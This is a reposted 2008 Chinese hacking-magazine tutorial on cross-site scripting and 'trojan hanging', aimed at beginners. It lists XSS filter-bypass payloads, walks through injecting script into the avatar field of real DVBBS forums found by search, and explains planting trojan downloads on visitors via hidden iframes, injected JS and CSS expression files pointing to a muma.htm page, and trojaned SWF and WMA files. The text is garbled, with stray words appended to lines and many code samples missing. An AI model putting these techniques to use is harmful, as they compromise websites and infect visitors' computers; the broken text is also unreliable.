原文:http://a1pass.blog.163.com/blog/static/2971373220087295449497/javascript
題記:這是我在《黑客X檔案》08年第5期發表的一篇文章,對跨站與掛馬作了比較全面而深刻的講解。java
轉載請註明版權:http://a1pass.blog.163.com/ A1Pass 《黑客X檔案》程序員
黑客反病毒論壇 http://bbs.hackav.com 數據庫
如今的黑客攻擊手法中,跨站掛馬彷佛正在逐漸成爲攻擊的主流話題,鑑於這種形勢,俺就把我學習跨站掛馬的一點心得總結出來與你們分享。express
因爲考慮到知識的認知過程以及入門朋友們的技術底子問題,本文將分爲「基礎知識」、「跨站漏洞」與「掛馬技巧」三部分組成,我們先來學習一下基礎知識,以及跨站攻擊的利用方法。瀏覽器
1、基礎知識安全
一、什麼是UBB碼服務器
XSS攻擊主要在兩種環境下進行,一個是用戶本身構造的比標籤,構造者彙總標籤要嚴格遵循HTML標記語言,而UBB碼是HTML的一個變種,屬於系統提供的標籤。UBB代碼簡單,功能不多,可是因爲其TAG語法檢查實現很是容易,因此許多網站引用了這種代碼,以方便廣大網友的使用,固然,同時也爲咱們打開了方便之門。markdown
下面我列出幾個例子,以便你們對UBB碼有一個感性的認識。網絡
顯示爲粗體效果:[B]文字[/B]
顯示爲斜體效果:[I]文字[/I]
顯示文字的超連接:[URL= http://www.hackerxfiles.net/]黑客X檔案官方站[/ URL]
經過上面的例子,咱們能夠看出來UBB碼用的是中括號標籤「[」與「]」。
爲何介紹這些?由於關鍵時候,咱們藉助UBB碼也能夠達到跨站的效果。
二、什麼是HTML輸入
你們看到這的時候,有條件的能夠打開X檔案的網站看看,咱們在IE瀏覽器的頁面中單擊右鍵,選擇「察看源文件(V)」選項,如圖1。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
而後就會彈出如圖2那樣一個以首頁文件命名的記事本。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
咱們能夠看見裏面的代碼都是用「<」與「>」括起來的,而這個「<」與「>」分別就是HTML的開始與結束標記。例如咱們輸入< script >alert(「text」)< /Script>就是輸入了一段HTML碼,咱們能夠看見這段代碼被「<」與「>」分紅了兩個標籤,分別是< script >與< /Script >,中間的則是這個標籤須要解釋的內容,關於這段HTML碼的意義,我在下面會爲你們解釋清楚,你們不要急,更不要怕!
其實基礎的跨站應用無非就是幾個步驟的問題,要比SQL注入簡單多了!在這篇文章中我爭取從實用角度出發,從而讓你們從啥都不懂,到能自主實戰,可是前提是你仔細的讀過本文。
2、什麼是跨站漏洞
所謂的跨站漏洞,就是一種往數據庫裏插入特定惡意代碼的一種攻擊技術,它被稱爲「XSS」或「CSS」,懂網頁設計的朋友可能會困惑,CSS不是層疊式樣式表的簡稱嗎?沒錯,只不過是重名而已,由於跨站攻擊的英文是Cross-Site Scripting,因此簡稱爲CSS。可是爲了與層疊式樣式表區分,如今廣泛叫作XSS。那麼XSS爲何會被稱做爲跨站攻擊呢?這是由於黑客經過別人的網站腳本漏洞達到攻擊的效果,就是說能夠隱藏攻擊者的身份,所以叫作跨站攻擊。其實「Cross-Site Scripting(跨站點腳本)」在乎義上來說是屬於錯誤的名字,由於XSS攻擊與腳本基本無關不說,甚至根本不必定是跨站點的。可是這在剛剛發現這種攻擊手法時就起了這樣一個名字,因此沿用至今,你們也就只能接受了。
對於受到XSS攻擊的服務器來講,被插入惡意代碼的WEB程序會永久的儲存這些代碼,除非人爲的刪掉它!當有人訪問這個WEB程序下的某個頁面時,惡意代碼就會混雜在正常的代碼中發送給瀏覽者,從而致使瀏覽器執行相應代碼,所以達到黑客的攻擊目的。
通常狀況下來說,人機交互比較高的WEB程序更容易受到XSS攻擊,好比論壇、留言板與帶有評論功能的新聞系統等等。而當黑客成功插入相關惡意代碼時,那麼他就能夠掛馬、獲取管理員的登錄Cookie、強制執行操做甚至格式化瀏覽者的磁盤(不過用IE6.0的朋友不用擔憂硬盤被格式化,由於IE6.0的默認安全規則會阻止這些危險動做的發生)!只要是腳本可以實現的功能,跨站攻擊一樣能達到,所以XSS攻擊的危害程度甚至與溢出攻擊都是不相上下!
3、跨站攻擊的原理
其實, XSS攻擊的本質仍是注入的問題,只不過XSS攻擊注入的是惡意的HTML腳本而已。可是這些注入的惡意代碼爲何會被執行呢?這實際上是因爲瀏覽器的不足形成的。
由於瀏覽器在接受數據時,他沒法辨認哪些是應該解釋的代碼,哪些是不須要解釋的數據。若是是數據,瀏覽器徹底能夠簡單的將其顯示出來便可,但可悲的是瀏覽器作不到這點,只要碰到符合條件的標記,他就會將其解釋執行,從而給咱們XSS攻擊埋下伏筆。
因此若是WEB程序在接受數據時若是不作有效的過濾,就會致使惡意代碼進入數據庫,並且咱們注入的JavaScript代碼能夠在安全策略准許的範圍內執行任何操做,若是這段JavaScript代碼可讓對方的電腦下載並執行你的木馬時,這就是咱們所說的「掛馬」了。
歸根結底,跨站攻擊的根本漏洞就在WEB程序裏,你們能夠看看圖3。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
有助於你進一步理解XSS攻擊的含義,咱們經過圖3能夠看出來,若是WEB程序能作跟好的濾,XSS攻擊是徹底有可能被避免的。
4、跨站攻擊的挖掘
知道了XSS攻擊的以後,咱們怎樣才能挖掘網站的XSS漏洞呢?
想挖掘網站的XSS漏洞,咱們必需要有基本的腳本底子,鑑於咱們叉子的電腦基礎問題,這裏我就先爲你們解釋一下標準測試代碼< script >alert(「text」)< /Script>的意思,要注意看哦!其中的text能夠改成任何字,若是存在XSS漏洞,咱們使用這段代碼進行XSS攻擊後,瀏覽相的應頁面就會彈出包含text這個字符的提示框,如圖4。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
而< Script >……與< /Script >則分別是腳本開始、結束的HTML標記,alert是JavaScript下的一個顯示信息對話框的方法,這個你們知道就行。也就是說,若是跨站成功,這個alert方法就會被執行。所以,咱們就能夠將alert換成任意的JavaScript代碼,那麼實現掛馬功能天然也就不在話下了。
鑑於XSS攻擊的危害性,通常的站點都會將< Script >與< /Script >這樣敏感的關鍵字過濾,那該怎麼辦?難道咱們一開始就被難住了嗎?ON!咱們固然不能被他們難住,確定有辦法突破的!
可是突破了這個限制,若是碰到別的限制怎麼辦呢?不要急,今天我就帶領你們步步設防,在步步突破!從不斷的突破中帶領你們學習XSS攻擊的大致思路!
那麼面對咱們的第一道關於< Script >與< /Script >的過濾咱們該怎麼辦呢?
第一步就是看看替換大小寫!這替換大小寫真可謂萬能招數啊……
咱們只需將< script >與< /Script >改成< script >與< /SCrIPt >或相似的形式便可。若是沒經過怎麼辦?看看下面這個辦法。
對於過濾< script >與< /Script >來講,咱們使用HTML標籤下就能夠繞過,例如:
它執行後與< script >alert(「text」)< /Script>結果是同樣的,如圖5。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
經過對比,咱們能夠知道被執行的是「 alert(「text-img」) 」這段JavaScript代碼,而執行JavaScript的標記則變成了「 javascript: 」,這段XSS攻擊代碼巧妙的利用了標籤提供的「<>」號執行了相應的JavaScript代碼。
那麼,若是咱們javascript:也被過濾了的話,那該怎麼辦呢?呵呵,咱們還能夠試試部分字符換做ASCII碼錶示是否能夠。對於過濾javascript:來講,咱們就將javascript:中的某些字符轉換爲16進制的值,例如:< img src=」javascript:aler(/src-text/) 「>,其中的j與j就是「j」與「:」的16進制。固然咱們轉換成效果更好些!除此以外,咱們還能夠將j由j轉換成例如j也能夠。
具體轉換內容你們能夠參考ASCII碼錶:
完整的ASCII碼錶查詢:http://www.asciima.com/
可是若是對方又過濾了「&」號或「#」號該怎麼辦呢? 咱們能夠試試下面這條XSS攻擊測試代碼:
< img src=javascr ipt:alert(「text-img」) >
看到了沒有?中間的一個[Tab]鍵弄出來的空白(這個空白叫作製表符)便可繞過這類過濾,呵呵!除此以外如下幾個XSS攻擊代碼也能夠繞過這種過濾。
固然,若是僅僅是過濾掉javascript:的話,咱們其實還有一個很是簡單的方法,不用javascript腳本!別忘了微軟還爲咱們準備了VBScript啊!咱們將代碼簡單的換成便可。
而若是對方過濾了「SRC」的話怎麼辦呢?呵呵!不急!咱們還能夠利用下面的XSS攻擊代碼繞過這種過濾,效果與利用SRC基本一致。
然而隨着XSS攻擊的頻繁發生,程序員們都開始想着怎樣避免漏洞的出現,因而他們過濾了製表符這類部常見的符號,過濾空格還過濾了javascript。
可是聰明的咱們還能夠利用事件和屬性替換掉關鍵字,繞過監測,好比:
因爲HTML的腳本默認就是JavaScript,所以即使是咱們不特別的聲明,其中的alert(/error-text/)仍是能夠順利執行,而它的執行利用的是錯誤事件onerror才得以完成的。有的初學朋友可能會頭暈了,什麼事件啊屬性啊什麼的,我不懂啊!呵呵,不要着急,對於初學的朋友,你只要記住其中的alert(/error-text/)能夠換成其餘JavaScript代碼就能夠了。
可是有的初學者不明白了,咱們知道這些又有什麼用呢?你能夠將其換成來實現掛馬功能。並且到後期當你懂得必定的腳本知識時,你能夠用它作更多的事。
哦,原來利用事件也能跨站,因此有的人又開始過濾事件,以使咱們的onerror事件沒法執行。可是「山窮水盡疑無路,柳暗花明又一村」,總使你過濾再多的事件,若是我本身構造一個呢?下面這段代碼就是我構造的一個叫作「A1Pass」的事件,它的執行結果與經過onerror來執行JavaScript代碼的結果是同樣的。
執行結果如圖6所示。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
咱們甚至不要SRC而且脫離標籤均可以成功進行XSS攻擊!例以下面那段XSS測試代碼。
< DIV style=」A1Pass:expression(alert(/style -text/));」>
值得注意的是,經過style構造的事件會執行兩次,並且當鼠標移過期也會再次觸發style事件。
固然除此以外咱們還能夠利用其餘未被過濾的事件,或者利用上面所說的製表符(Tab鍵)來分割被過濾的關鍵字,除此以外註釋符號「/**/」也能夠看成空格來用,例如:
< img src=」#」/**/onerror=alert(/error-text/) >
講到這裏有的朋友可能已經按耐不住了,那咱們應該怎樣去挖掘這些漏洞呢?我能夠很負責任的告訴你,在你理解這些XSS攻擊方法的前提下,挖掘這些漏洞就顯得比較簡單了,咱們下面進行一次XSS攻擊的實驗。
你們都知道,能夠輸入信息的地方纔有可能構成XSS攻擊,可是選擇一個輸入點的好壞直接關係到XSS攻擊的威力與成功概率。
咱們先從威力方面考慮,固然是用戶瀏覽次數越多,交互越頻繁的地方,你進行XSS攻擊後的效果就越明顯,就拿論壇來講,用戶頭像、簽名等都是比較高效並且較易成功的XSS攻擊點。
下面咱們就拿一個動網論壇作一下實驗。
第一步先在網上找一個動網論壇,關鍵字是POWERED BY DVBBS ,你們本身搜吧。找到後先查看本身的權限,由於咱們要利用自定義頭像進行XSS攻擊,因此爲了能自定義頭像,我這裏須要先發10篇帖子……
第二步開始驗測,咱們在動網「自定義頭像地址:」中輸入咱們的XSS測試代碼< script >alert(「text」)< /script>,而後點擊保存。
可是咱們刷新後並無看到text彈出來啊!如圖7,怎麼辦?首先咱們在返回的頁面信息中能夠看到完整的XSS測試代碼< script >alert(「text」)< /script>,這至少證實沒有被過濾。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
小技巧:若是咱們在某一個頁面提交完XSS代碼,刷新後還能顯示的話(例如完整顯示< script >),那大多數的狀況是這個站點存在XSS漏洞!只是還須要咱們進一步去挖掘。
可是他爲何沒有順利執行呢?這時就須要咱們察看網頁的源代碼了,咱們在IE瀏覽器的頁面中單擊右鍵,選擇「察看源文件(V)」選項,便可看到這個頁面的HTML源代碼,按[Ctrl]+[F]快捷鍵調出查找對話框,輸入alert(「text」)後咱們找到了以下代碼:
alert(「text」)< /script>」 width=」120」 height=」120」 />
你們能夠看到咱們的XSS測試代碼確實沒有被過濾,可是被標籤的「< >」給包圍了,固然就不能執行了!咱們怎麼辦呢?
這裏給你們一個思路:逆向思考!咱們怎樣不被包圍呢?呵呵!你們看看下面這段新構造的XSS測試代碼。
< script >alert(「text」)< /script><
當咱們輸入這段代碼後,原先閉合的標籤被咱們拆分爲
< script >alert(「text」)< /script><」 width=」120」 height=」120」 />
也就是變成、< script >alert(「text」)、<」width=」120」 height=」120」 />三個單獨的語句,咱們可愛的< script >alert(「text」)< /script>就這樣被咱們解圍了。
關於XSS攻擊實際上是沒有定律的,就拿咱們繞過驗證方法來看,除了上面的其實還有許多許多!隨着你腳本底子的增長,你會發現更多的XSS攻擊代碼!可是我最後要說的就是必定要注意到瀏覽器的存在!
在本小結的最後我爲你們附上一些針對不一樣瀏覽器能夠成功執行的XSS攻擊代碼,但願能給你們一些啓示。
[IE瀏覽器]
[IE瀏覽器]
[IE瀏覽器]
&< script >[code]
&{[code]} [N4瀏覽器]
[N4瀏覽器]
[N4瀏覽器]
[IE瀏覽器]
[\xCO][\xBC]script>[code][\xCO][\xBC]/script> [UTF-8;IE;Opera瀏覽器]
上面的內容是我參考安全焦點出版的《網絡滲透技術》作的摘錄。
5、掛馬技術
對於掛馬,強烈要求你們帶着學習的目的去鑽研,不要拿出去害本身的同胞……
一、什麼是掛馬
最近看中央電視臺的一個有關於黑客的節目,字幕上居然把「掛馬」顯示成「掛碼」!估計是對黑客技術不瞭解所致。可是也能夠看得出來你們對於掛馬技術的陌生。
其實經過名字就能夠知道一二,掛馬就是指一種將木馬程序「掛」到你們比較信賴的網站上,從而使得瀏覽此網站的網民電腦被非法植入木馬的行爲。
若是掛馬技術比較成熟,被掛馬的網站服務人員與瀏覽此網站的網民通常很難察覺!因此說掛馬具備隱藏性好,危害巨大的特色,你們試想一下,若是百度首頁被掛馬,那麼後果會怎樣?只需1天就會有上千萬人的電腦被非法控制!
二、掛馬的原理
關於掛馬技術,與XSS基本一致,但貌似比XSS技術的門檻低。而就誇馬的方式來講,一個是經過漏洞掛馬(例如XSS),一個是經過擁有的絕對權限掛馬,例如咱們利用WEBShell進行批量掛馬。可是無論是利用什麼方法,只有咱們有良好的掛馬代碼纔會得到比較好的效果……
掛馬的基本思想就是利用本地溢出漏洞構造下載執行的ShellCode,從而下載並執行指定的程序,如圖8。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
關於溢出漏洞,能夠是IE自己存在的漏洞,能夠是與IE有聯繫的漏洞,例如WORD、FILASH、WMA音頻等等。
三、掛馬實戰
掛馬於XSS同樣,都有一個「基本代碼」,而掛馬的基本代碼則是:
經過上面的學習,相信入門的朋友對HTML已經有點了解了吧?咱們能夠看到這是一個包含< ifarme>標籤的代碼,< ifarme>標籤是用來在網頁內嵌入另外一個頁面的,如圖9就是一嵌入頁面。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
經過代碼咱們很容易就能知道他嵌入的是一個寬[width]爲500像素,高[height]爲100像素的頁面,經過對比,咱們能夠發現本文例子的寬和高都是0,這就起到了隱藏訪問木馬網頁的目的。
可是如今稍微有點安全常識的人都知道查找關鍵字ifarme了,因此要實行有效的掛馬,最好是使用其它的掛馬技巧。而另一個經常使用的方法就是JS掛馬了,這裏的JS和咱們上面談到的JavaScript同樣,JS掛馬固然是先建立JS文件,咱們先建一個記事本,將如下代碼輸入到裏面。
Top.document.body.innerHTML = top.document.body.innerHTML +’\r\n
而後依次選擇「文件」>「另存爲(A)…」保存爲.js文件,如圖10。將其上傳到你所能控制的服務器中。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
如今咱們只要在那個網頁中插入< script src=http://你的JS文件保存地址>,之後只要有人瀏覽這個頁面就會偷偷的轉向咱們JS文件裏的http://www.*.com/muma.htm,從而達到掛馬的目的。
這種方法很好的避開了關鍵字ifarme,只要咱們的JS文件的名稱起的具備迷惑性,通常的應該均可以矇混過關。若是還想要更加隱蔽的方式,那就只有使用CSS來掛馬了。
經過上面的文章你們應該對CSS有所瞭解,CSS是層疊式樣式表的簡稱,也就是說咱們能夠利用層疊式樣式表來掛馬,熟悉網頁設計的都知道,凡是比較複雜漂亮的頁面,通常都要用到層疊式樣式表,並且層疊式樣式表的代碼繁雜,從而有效地掩護了咱們的掛馬代碼。
咱們只要在CSS文件中包含如下代碼便可。
Body{
Hytop: expression(op.document.body.innerHTML = top.document.body.innerHTML +’\r\n
}
而後在咱們要掛馬的頁面引用這個CSS文件就能夠了,引用代碼以下。
有了這三種方法撐腰,你的網馬掛的應該算是比較成熟了,可是除此以外,咱們還有其它比較另類的掛馬方法,正可謂劍走偏鋒,出其不意!
第一個要介紹的就是「臭要飯的」寫的「IcodeToSWF」,它能夠將咱們的網頁木馬地址插入到SWF文件裏,當別人興高采烈的觀看動畫時,他已經成爲咱們粥中的肉雞了!
關於IcodeToSWF的使用方法很是簡單,咱們代開文件後選擇須要插馬的SWF文件,而後輸入咱們的目馬網址點擊「給我插」就能夠了,如圖11。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
最近老是據說網易博客中毒了!一聽嚇我一大跳!網易的BLOG還沒智能到能夠運行病毒的程度吧?最後通過調查發現,原來是WMA文件被插了木馬!
因而乎淘到了一款傻瓜化的WMA插馬工具,咱們只需輸入木馬地址與音樂地址保存便可,如圖12。
跨站掛馬全攻略 - A1Pass - A1Pass的風清月朗居
不過這個工具毛病不少,例如WMA音樂的地址最好手動輸入,不要粘貼,不然會出問題……
關於掛馬就想講到這裏了,結束前在告訴你們一個技巧,關於HTML文件遠程訪問時咱們能夠將後綴名改成其它的,例如http://www..com/muma.jpg或http://www..com/muma.abcd均可以正常執行!除了HTML文件,JS文件也能夠這樣隨意改動後綴名,甚至無後綴名均可以!
關於掛馬,我最後要說的一句話就是「害人終害己」,切記!
到這裏文章所有結束了,本想講的更加詳細一些,涉及的更廣一些,可是想到憧憧不知的菜鳥們,使我努力將文章難度下降,以便於入門朋友的學習。關於這片文章,入門的朋友們不要看到代碼就頭大,其實大多數只是改個網址就能夠應用的,爲了方便廣大讀者,我已經將本文涉及到的全部應用代碼整理初來,詳情請見光盤。
因爲時間倉促,本文不免有錯誤之處,還請廣大讀者指正!個人ID是a1pass,你們能夠到X檔案的論壇找我。
××××××××××××××××××××××××××××××××××××××
A1Pass後記:這實際上是我07年6月寫的文章了,可是一直到08年5月才發表,不過我的認爲裏面仍是有一些東西值得各位讀者去學習的。
轉載請註明版權:http://a1pass.blog.163.com/ A1Pass 《黑客X檔案》